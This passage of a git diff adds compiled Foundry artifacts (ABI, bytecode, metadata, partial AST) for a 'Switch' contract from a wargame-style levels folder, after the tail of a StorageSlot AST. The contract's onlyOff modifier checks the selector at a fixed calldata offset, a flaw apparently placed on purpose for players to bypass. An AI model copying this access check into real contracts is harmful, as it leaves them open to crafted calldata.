StorageSlot.Bytes32Slot"}},"visibility":"internal"}],"src":"2250:23:35"},"scope":48341,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":48340,"nodeType":"FunctionDefinition","src":"2478:190:35","nodes":[],"body":{"id":48339,"nodeType":"Block","src":"2562:106:35","nodes":[],"statements":[{"AST":{"nativeSrc":"2624:38:35","nodeType":"YulBlock","src":"2624:38:35","statements":[{"nativeSrc":"2638:14:35","nodeType":"YulAssignment","src":"2638:14:35","value":{"name":"slot","nativeSrc":"2648:4:35","nodeType":"YulIdentifier","src":"2648:4:35"},"variableNames":[{"name":"r.slot","nativeSrc":"2638:6:35","nodeType":"YulIdentifier","src":"2638:6:35"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":48336,"isOffset":false,"isSlot":true,"src":"2638:6:35","suffix":"slot","valueSize":1},{"declaration":48332,"isOffset":false,"isSlot":false,"src":"2648:4:35","valueSize":1}],"id":48338,"nodeType":"InlineAssembly","src":"2615:47:35"}]},"documentation":{"id":48330,"nodeType":"StructuredDocumentation","src":"2386:87:35","text":" @dev Returns an `Uint256Slot` with member `value` located at `slot`."},"implemented":true,"kind":"function","modifiers":[],"name":"getUint256Slot","nameLocation":"2487:14:35","parameters":{"id":48333,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48332,"mutability":"mutable","name":"slot","nameLocation":"2510:4:35","nodeType":"VariableDeclaration","scope":48340,"src":"2502:12:35","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":48331,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2502:7:35","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"2501:14:35"},"returnParameters":{"id":48337,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48336,"mutability":"mutable","name":"r","nameLocation":"2559:1:35","nodeType":"VariableDeclaration","scope":48340,"src":"2539:21:35","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_Uint256Slot_$48296_storage_ptr","typeString":"struct StorageSlot.Uint256Slot"},"typeName":{"id":48335,"nodeType":"UserDefinedTypeName","pathNode":{"id":48334,"name":"Uint256Slot","nameLocations":["2539:11:35"],"nodeType":"IdentifierPath","referencedDeclaration":48296,"src":"2539:11:35"},"referencedDeclaration":48296,"src":"2539:11:35","typeDescriptions":{"typeIdentifier":"t_struct$_Uint256Slot_$48296_storage_ptr","typeString":"struct StorageSlot.Uint256Slot"}},"visibility":"internal"}],"src":"2538:23:35"},"scope":48341,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"StorageSlot","contractDependencies":[],"contractKind":"library","documentation":{"id":48284,"nodeType":"StructuredDocumentation","src":"130:1148:35","text":" @dev Library for reading and writing primitive types to specific storage slots.\n Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n This library helps with reading and writing to such slots without the need for inline assembly.\n The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n Example usage to set ERC1967 implementation slot:\n ```\n contract ERC1967 {\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n function _getImplementation() internal view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n function _setImplementation(address newImplementation) internal {\n require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n }\n }\n ```\n _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._"},"fullyImplemented":true,"linearizedBaseContracts":[48341],"name":"StorageSlot","nameLocation":"1287:11:35","scope":48342,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":35} \ No newline at end of file diff --git a/contracts/out/Switch.sol/Switch.json b/contracts/out/Switch.sol/Switch.json new file mode 100644 index 000000000..b7a22b3bd --- /dev/null +++ b/contracts/out/Switch.sol/Switch.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"flipSwitch","inputs":[{"name":"_data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"offSelector","inputs":[],"outputs":[{"name":"","type":"bytes4","internalType":"bytes4"}],"stateMutability":"view"},{"type":"function","name":"switchOn","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"turnSwitchOff","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"turnSwitchOn","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x60806040525f805464ffffffff0019166420606e1500179055348015610023575f80fd5b5061046e806100315f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635a2cfa661161004d5780635a2cfa661461008557806376227e12146100cc578063f9f8f895146100d4575f80fd5b806320606e151461006857806330c13ade14610072575b5f80fd5b6100706100f0565b005b610070610080366004610361565b61014f565b5f5461009690610100900460e01b81565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020015b60405180910390f35b6100706102b9565b5f546100e09060ff1681565b60405190151581526020016100c3565b3330146101445760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c20746869730060448201526064015b60405180910390fd5b5f805460ff19169055565b610157610316565b6004604482375f54815161010090910460e01b7fffffffff0000000000000000000000000000000000000000000000000000000016146101ff5760405162461bcd60e51b815260206004820152602860248201527f43616e206f6e6c792063616c6c20746865207475726e4f66665377697463682060448201527f66756e6374696f6e000000000000000000000000000000000000000000000000606482015260840161013b565b5f3073ffffffffffffffffffffffffffffffffffffffff1683604051610225919061040c565b5f604051808303815f865af19150503d805f811461025e576040519150601f19603f3d011682016040523d82523d5f602084013e610263565b606091505b50509050806102b45760405162461bcd60e51b815260206004820152600e60248201527f63616c6c206661696c6564203a28000000000000000000000000000000000000604482015260640161013b565b505050565b3330146103085760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c207468697300604482015260640161013b565b5f805460ff19166001179055565b60405180602001604052806001906020820280368337509192915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f60208284031215610371575f80fd5b813567ffffffffffffffff80821115610388575f80fd5b818401915084601f83011261039b575f80fd5b8135818111156103ad576103ad610334565b604051601f8201601f19908116603f011681019083821181831017156103d5576103d5610334565b816040528281528760208487010111156103ed575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f82515f5b8181101561042b5760208186018101518583015201610411565b505f92019182525091905056fea264697066735822122055ac63fc356b6bfa4cbc0e9135bac6a6642b324508b8511e07cda734a6cdffb364736f6c63430008180033","sourceMap":"57:984:108:-:0;;;122:64;;;-1:-1:-1;;122:64:108;;;;;57:984;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635a2cfa661161004d5780635a2cfa661461008557806376227e12146100cc578063f9f8f895146100d4575f80fd5b806320606e151461006857806330c13ade14610072575b5f80fd5b6100706100f0565b005b610070610080366004610361565b61014f565b5f5461009690610100900460e01b81565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020015b60405180910390f35b6100706102b9565b5f546100e09060ff1681565b60405190151581526020016100c3565b3330146101445760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c20746869730060448201526064015b60405180910390fd5b5f805460ff19169055565b610157610316565b6004604482375f54815161010090910460e01b7fffffffff0000000000000000000000000000000000000000000000000000000016146101ff5760405162461bcd60e51b815260206004820152602860248201527f43616e206f6e6c792063616c6c20746865207475726e4f66665377697463682060448201527f66756e6374696f6e000000000000000000000000000000000000000000000000606482015260840161013b565b5f3073ffffffffffffffffffffffffffffffffffffffff1683604051610225919061040c565b5f604051808303815f865af19150503d805f811461025e576040519150601f19603f3d011682016040523d82523d5f602084013e610263565b606091505b50509050806102b45760405162461bcd60e51b815260206004820152600e60248201527f63616c6c206661696c6564203a28000000000000000000000000000000000000604482015260640161013b565b505050565b3330146103085760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c792074686520636f6e74726163742063616e2063616c6c207468697300604482015260640161013b565b5f805460ff19166001179055565b60405180602001604052806001906020820280368337509192915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f60208284031215610371575f80fd5b813567ffffffffffffffff80821115610388575f80fd5b818401915084601f83011261039b575f80fd5b8135818111156103ad576103ad610334565b604051601f8201601f19908116603f011681019083821181831017156103d5576103d5610334565b816040528281528760208487010111156103ed575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f82515f5b8181101561042b5760208186018101518583015201610411565b505f92019182525091905056fea264697066735822122055ac63fc356b6bfa4cbc0e9135bac6a6642b324508b8511e07cda734a6cdffb364736f6c63430008180033","sourceMap":"57:984:108:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;965:74;;;:::i;:::-;;722:159;;;;;;:::i;:::-;;:::i;122:64::-;;;;;;;;;;;;;;;1303:66:155;1291:79;;;1273:98;;1261:2;1246:18;122:64:108;;;;;;;;887:72;;;:::i;79:20::-;;;;;;;;;;;;1547:14:155;;1540:22;1522:41;;1510:2;1495:18;79:20:108;1382:187:155;965:74:108;231:10;253:4;231:27;223:71;;;;-1:-1:-1;;;223:71:108;;1776:2:155;223:71:108;;;1758:21:155;1815:2;1795:18;;;1788:30;1854:33;1834:18;;;1827:61;1905:18;;223:71:108;;;;;;;;;1027:5:::1;1016:16:::0;;-1:-1:-1;;1016:16:108::1;::::0;;965:74::o;722:159::-;402:26;;:::i;:::-;558:1;554:2;544:8;531:29;642:11;;627;;642;;;;;;627:26;;;619:79;;;;-1:-1:-1;;;619:79:108;;2325:2:155;619:79:108;;;2307:21:155;2364:2;2344:18;;;2337:30;2403:34;2383:18;;;2376:62;2474:10;2454:18;;;2447:38;2502:19;;619:79:108;2123:404:155;619:79:108;788:12:::1;813:4;805:18;;824:5;805:25;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;787:43;;;848:7;840:34;;;::::0;-1:-1:-1;;;840:34:108;;3151:2:155;840:34:108::1;::::0;::::1;3133:21:155::0;3190:2;3170:18;;;3163:30;3229:16;3209:18;;;3202:44;3263:18;;840:34:108::1;2949:338:155::0;840:34:108::1;777:104;337:379:::0;722:159;:::o;887:72::-;231:10;253:4;231:27;223:71;;;;-1:-1:-1;;;223:71:108;;1776:2:155;223:71:108;;;1758:21:155;1815:2;1795:18;;;1788:30;1854:33;1834:18;;;1827:61;1905:18;;223:71:108;1574:355:155;223:71:108;937:8:::1;:15:::0;;-1:-1:-1;;937:15:108::1;948:4;937:15;::::0;;887:72::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:184:155:-;66:77;63:1;56:88;163:4;160:1;153:15;187:4;184:1;177:15;203:921;271:6;324:2;312:9;303:7;299:23;295:32;292:52;;;340:1;337;330:12;292:52;380:9;367:23;409:18;450:2;442:6;439:14;436:34;;;466:1;463;456:12;436:34;504:6;493:9;489:22;479:32;;549:7;542:4;538:2;534:13;530:27;520:55;;571:1;568;561:12;520:55;607:2;594:16;629:2;625;622:10;619:36;;;635:18;;:::i;:::-;710:2;704:9;678:2;764:13;;-1:-1:-1;;760:22:155;;;784:2;756:31;752:40;740:53;;;808:18;;;828:22;;;805:46;802:72;;;854:18;;:::i;:::-;894:10;890:2;883:22;929:2;921:6;914:18;969:7;964:2;959;955;951:11;947:20;944:33;941:53;;;990:1;987;980:12;941:53;1046:2;1041;1037;1033:11;1028:2;1020:6;1016:15;1003:46;1091:1;1069:15;;;1086:2;1065:24;1058:35;;;;-1:-1:-1;1073:6:155;203:921;-1:-1:-1;;;;;203:921:155:o;2532:412::-;2661:3;2699:6;2693:13;2724:1;2734:129;2748:6;2745:1;2742:13;2734:129;;;2846:4;2830:14;;;2826:25;;2820:32;2807:11;;;2800:53;2763:12;2734:129;;;-1:-1:-1;2918:1:155;2882:16;;2907:13;;;-1:-1:-1;2882:16:155;2532:412;-1:-1:-1;2532:412:155:o","linkReferences":{}},"methodIdentifiers":{"flipSwitch(bytes)":"30c13ade","offSelector()":"5a2cfa66","switchOn()":"f9f8f895","turnSwitchOff()":"20606e15","turnSwitchOn()":"76227e12"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"_data\",\"type\":\"bytes\"}],\"name\":\"flipSwitch\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"offSelector\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"switchOn\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"turnSwitchOff\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"turnSwitchOn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Switch.sol\":\"Switch\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Switch.sol\":{\"keccak256\":\"0x8152b92460f5bb30b1d8cb3c548d8b33da6b10745112972d62ab9391f43d445e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb2baa735fb2c1c959976a09e8ae90a923723027d67d51d0ca396d5fe5bc9ba\",\"dweb:/ipfs/QmZRiAvzKHhmqEpEAgCzrQDVVV3XZFRFDMiH6sUjzDXYgv\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"bytes","name":"_data","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"flipSwitch"},{"inputs":[],"stateMutability":"view","type":"function","name":"offSelector","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"switchOn","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"turnSwitchOff"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"turnSwitchOn"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Switch.sol":"Switch"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Switch.sol":{"keccak256":"0x8152b92460f5bb30b1d8cb3c548d8b33da6b10745112972d62ab9391f43d445e","urls":["bzz-raw://9eb2baa735fb2c1c959976a09e8ae90a923723027d67d51d0ca396d5fe5bc9ba","dweb:/ipfs/QmZRiAvzKHhmqEpEAgCzrQDVVV3XZFRFDMiH6sUjzDXYgv"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Switch.sol","id":55229,"exportedSymbols":{"Switch":[55228]},"nodeType":"SourceUnit","src":"32:1010:108","nodes":[{"id":55138,"nodeType":"PragmaDirective","src":"32:23:108","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55228,"nodeType":"ContractDefinition","src":"57:984:108","nodes":[{"id":55140,"nodeType":"VariableDeclaration","src":"79:20:108","nodes":[],"constant":false,"functionSelector":"f9f8f895","mutability":"mutable","name":"switchOn","nameLocation":"91:8:108","scope":55228,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55139,"name":"bool","nodeType":"ElementaryTypeName","src":"79:4:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":55148,"nodeType":"VariableDeclaration","src":"122:64:108","nodes":[],"constant":false,"functionSelector":"5a2cfa66","mutability":"mutable","name":"offSelector","nameLocation":"136:11:108","scope":55228,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":55141,"name":"bytes4","nodeType":"ElementaryTypeName","src":"122:6:108","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"value":{"arguments":[{"arguments":[{"hexValue":"7475726e5377697463684f66662829","id":55145,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"167:17:108","typeDescriptions":{"typeIdentifier":"t_stringliteral_20606e15b70f0894e0e83ae9593ae406a94abb5adcfcf0d169c6784f02198dc3","typeString":"literal_string \"turnSwitchOff()\""},"value":"turnSwitchOff()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_20606e15b70f0894e0e83ae9593ae406a94abb5adcfcf0d169c6784f02198dc3","typeString":"literal_string \"turnSwitchOff()\""}],"id":55144,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"157:9:108","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":55146,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"157:28:108","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":55143,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"150:6:108","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes4_$","typeString":"type(bytes4)"},"typeName":{"id":55142,"name":"bytes4","nodeType":"ElementaryTypeName","src":"150:6:108","typeDescriptions":{}}},"id":55147,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"150:36:108","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"public"},{"id":55163,"nodeType":"ModifierDefinition","src":"193:119:108","nodes":[],"body":{"id":55162,"nodeType":"Block","src":"213:99:108","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55157,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":55151,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"231:3:108","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":55152,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"235:6:108","memberName":"sender","nodeType":"MemberAccess","src":"231:10:108","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":55155,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"253:4:108","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}],"id":55154,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"245:7:108","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55153,"name":"address","nodeType":"ElementaryTypeName","src":"245:7:108","typeDescriptions":{}}},"id":55156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"245:13:108","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"231:27:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4f6e6c792074686520636f6e74726163742063616e2063616c6c2074686973","id":55158,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"260:33:108","typeDescriptions":{"typeIdentifier":"t_stringliteral_9b05bfbb188f9da45b64374669a6111c8c83462f9bd38421334bb234756a9488","typeString":"literal_string \"Only the contract can call this\""},"value":"Only the contract can call this"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_9b05bfbb188f9da45b64374669a6111c8c83462f9bd38421334bb234756a9488","typeString":"literal_string \"Only the contract can call this\""}],"id":55150,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"223:7:108","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55159,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"223:71:108","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55160,"nodeType":"ExpressionStatement","src":"223:71:108"},{"id":55161,"nodeType":"PlaceholderStatement","src":"304:1:108"}]},"name":"onlyThis","nameLocation":"202:8:108","parameters":{"id":55149,"nodeType":"ParameterList","parameters":[],"src":"210:2:108"},"virtual":false,"visibility":"internal"},{"id":55184,"nodeType":"ModifierDefinition","src":"318:398:108","nodes":[],"body":{"id":55183,"nodeType":"Block","src":"337:379:108","nodes":[],"statements":[{"assignments":[55170],"declarations":[{"constant":false,"id":55170,"mutability":"mutable","name":"selector","nameLocation":"420:8:108","nodeType":"VariableDeclaration","scope":55183,"src":"402:26:108","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$1_memory_ptr","typeString":"bytes32[1]"},"typeName":{"baseType":{"id":55168,"name":"bytes32","nodeType":"ElementaryTypeName","src":"402:7:108","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":55169,"length":{"hexValue":"31","id":55167,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"410:1:108","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"ArrayTypeName","src":"402:10:108","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$1_storage_ptr","typeString":"bytes32[1]"}},"visibility":"internal"}],"id":55171,"nodeType":"VariableDeclarationStatement","src":"402:26:108"},{"AST":{"nativeSrc":"517:93:108","nodeType":"YulBlock","src":"517:93:108","statements":[{"expression":{"arguments":[{"name":"selector","nativeSrc":"544:8:108","nodeType":"YulIdentifier","src":"544:8:108"},{"kind":"number","nativeSrc":"554:2:108","nodeType":"YulLiteral","src":"554:2:108","type":"","value":"68"},{"kind":"number","nativeSrc":"558:1:108","nodeType":"YulLiteral","src":"558:1:108","type":"","value":"4"}],"functionName":{"name":"calldatacopy","nativeSrc":"531:12:108","nodeType":"YulIdentifier","src":"531:12:108"},"nativeSrc":"531:29:108","nodeType":"YulFunctionCall","src":"531:29:108"},"nativeSrc":"531:29:108","nodeType":"YulExpressionStatement","src":"531:29:108"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":55170,"isOffset":false,"isSlot":false,"src":"544:8:108","valueSize":1}],"id":55172,"nodeType":"InlineAssembly","src":"508:102:108"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":55178,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":55174,"name":"selector","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55170,"src":"627:8:108","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$1_memory_ptr","typeString":"bytes32[1] memory"}},"id":55176,"indexExpression":{"hexValue":"30","id":55175,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"636:1:108","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"627:11:108","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":55177,"name":"offSelector","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55148,"src":"642:11:108","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"627:26:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616e206f6e6c792063616c6c20746865207475726e4f66665377697463682066756e6374696f6e","id":55179,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"655:42:108","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ce4e62d4d3020886f10d7be91cfb0c74fe4d758fd21568356a421363af88885","typeString":"literal_string \"Can only call the turnOffSwitch function\""},"value":"Can only call the turnOffSwitch function"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3ce4e62d4d3020886f10d7be91cfb0c74fe4d758fd21568356a421363af88885","typeString":"literal_string \"Can only call the turnOffSwitch function\""}],"id":55173,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"619:7:108","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55180,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"619:79:108","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55181,"nodeType":"ExpressionStatement","src":"619:79:108"},{"id":55182,"nodeType":"PlaceholderStatement","src":"708:1:108"}]},"name":"onlyOff","nameLocation":"327:7:108","parameters":{"id":55164,"nodeType":"ParameterList","parameters":[],"src":"334:2:108"},"virtual":false,"visibility":"internal"},{"id":55207,"nodeType":"FunctionDefinition","src":"722:159:108","nodes":[],"body":{"id":55206,"nodeType":"Block","src":"777:104:108","nodes":[],"statements":[{"assignments":[55192,null],"declarations":[{"constant":false,"id":55192,"mutability":"mutable","name":"success","nameLocation":"793:7:108","nodeType":"VariableDeclaration","scope":55206,"src":"788:12:108","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55191,"name":"bool","nodeType":"ElementaryTypeName","src":"788:4:108","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":55200,"initialValue":{"arguments":[{"id":55198,"name":"_data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55186,"src":"824:5:108","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":55195,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"813:4:108","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract 